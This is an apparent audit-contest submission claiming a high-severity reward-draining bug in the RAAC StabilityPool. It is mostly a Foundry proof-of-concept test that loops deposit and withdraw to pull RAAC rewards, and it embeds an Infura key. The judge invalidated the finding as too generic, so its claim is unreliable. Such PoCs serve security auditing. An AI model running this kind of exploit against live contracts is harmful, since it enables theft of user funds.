Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Attacker can claim all the raac rewards in the stability pool

Summary

Attacker can drain the pool

Vulnerability Details

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "lib/forge-std/src/Test.sol";
//Import which is neccessery for the LendingPool.sol
import "contracts/core/pools/LendingPool/LendingPool.sol";
import "contracts/core/tokens/RToken.sol";
import "contracts/core/tokens/DebtToken.sol";
import "contracts/core/tokens/RAACNFT.sol";
import "contracts/core/tokens/RAACToken.sol";
import "contracts/core/minters/RAACMinter/RAACMinter.sol";
import "contracts/core/pools/StabilityPool/StabilityPool.sol";
import "contracts/core/tokens/DEToken.sol";
interface ITokenERC20{
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract ArsenTest is Test{
//Actual, non-modifier contracts
RToken public rToken;
DebtToken public dToken;
RAACNFT public raacNFT;
RAACToken public raacToken;
DEToken public deToken;
//deploy minters
RAACMinter public raacMinter;
//Mock contracts
HousePrices public housePrices;
PriceOracle public priceOracle;
//deploy the Lending Pool
LendingPool public lendingPool;
//deploy Stability Pool
StabilityPool public stabilityPool;
address public attacker = address(8888);
address public user_1 = address(1111);
address public user_2 = address(2222);
address CRV_USD = address(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
string ETH_RPC_URL = "https://mainnet.infura.io/v3/2cef90f9f3f44a1fb5201d8547183d42";
function setUp() public{
uint256 ethFork = vm.createFork(ETH_RPC_URL);
vm.selectFork(ethFork);
housePrices = new HousePrices();
priceOracle = new PriceOracle();
rToken = new RToken(
"rToken",
"RTOKEN",
address(this), //init owner
CRV_USD //crvUsd addr
);
dToken = new DebtToken(
"Debt Token",
"DBTTOKEN",
address(this) //init owner
);
raacNFT = new RAACNFT(
CRV_USD, //token
address(housePrices), //house prices
address(this) //init owner
);
raacToken = new RAACToken(
address(this),
500, //initialSwapTaxRate
500 //initialBurnTaxRate
);
deToken = new DEToken(
"DeToken",
"deToken",
address(this),
address(rToken)
);
lendingPool = new LendingPool(
CRV_USD, //crvUsd addr
address(rToken), //rToken
address(dToken), //debtToken
address(raacNFT), //raacNFT
address(priceOracle),//priceOracle addr
100000000000000000000000000 //init prime rate
);
stabilityPool = new StabilityPool(address(this));
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
address(this)
);
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter), //raacMinter
CRV_USD,
address(lendingPool)
);
//@audit TO DO - set the setParameter , like threshold, e.t.c for the Lending Pool
//set the reserve pool for RToken to be able to mint stuff
rToken.setReservePool(address(lendingPool));
//set the reserve pool for the DToken to be able to mint stuff
dToken.setReservePool(address(lendingPool));
}
//forge test --match-test test_deposit -vvvv
function test_deposit() public{
//PREPARATION STUFF
deToken.setStabilityPool(address(stabilityPool)); //set the pool
raacToken.setMinter(address(this));
raacToken.mint(address(stabilityPool), 1000e18); //mint the raac rewards into the pool in advance.
//HERE I'VE CREATE THE TEST FUNCTION TO MINT THE rTOKEN FASTER FOR PoC ONLY
/**
function testMint(address userToMint) public{
_mint(userToMint, 100e18);
}
*/
rToken.testMint(user_1);
vm.startPrank(user_1); //user deposit the 100e18 rToken in the pool
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
vm.stopPrank();
for(uint i = 1; i < 10; i++){ //other users deposit the rToken into the pool
address user = vm.addr(i);
rToken.testMint(user);
vm.startPrank(user); //start
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
assertEq(deToken.balanceOf(user), 100e18);
vm.stopPrank();
}
assertEq(deToken.totalSupply(), 1000e18);
assertEq(rToken.balanceOf(address(stabilityPool)), 1000e18);
assertEq(raacToken.balanceOf(address(stabilityPool)), 1000e18);
console.log("RaacToken reward balance of the pool is", raacToken.balanceOf(address(stabilityPool)));
vm.prank(user_1); //user aka attacker withdraw the full funds
stabilityPool.withdraw(100e18);
console.log("RaacToken reward balance of the pool after the first withdraw is", raacToken.balanceOf(address(stabilityPool)));
for(uint i = 0; i < 30; i++){
vm.startPrank(user_1);
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
stabilityPool.withdraw(100e18);
vm.stopPrank();
}
console.log("RaacToken reward balance of the pool after the attack is", raacToken.balanceOf(address(stabilityPool)));
console.log("Final RaacToken reward amount of the attacker is", raacToken.balanceOf(address(user_1)));
}
}
//@note MOCK CONTRACTS FOR THE POC PURPOSES ONLY
contract HousePrices{
function tokenToHousePrice(uint256 _tokenId) external view returns (uint256){
return 10_000e18;
}
}
contract PriceOracle{
function getLatestPrice(uint256 _tokenId) external view returns (uint256, uint256){
return(10_000e18, block.timestamp);
}
}

Impact

Funds draining

Tools Used

Foundry

Recommendations

Ensure the funds can't be drained

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Too generic

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.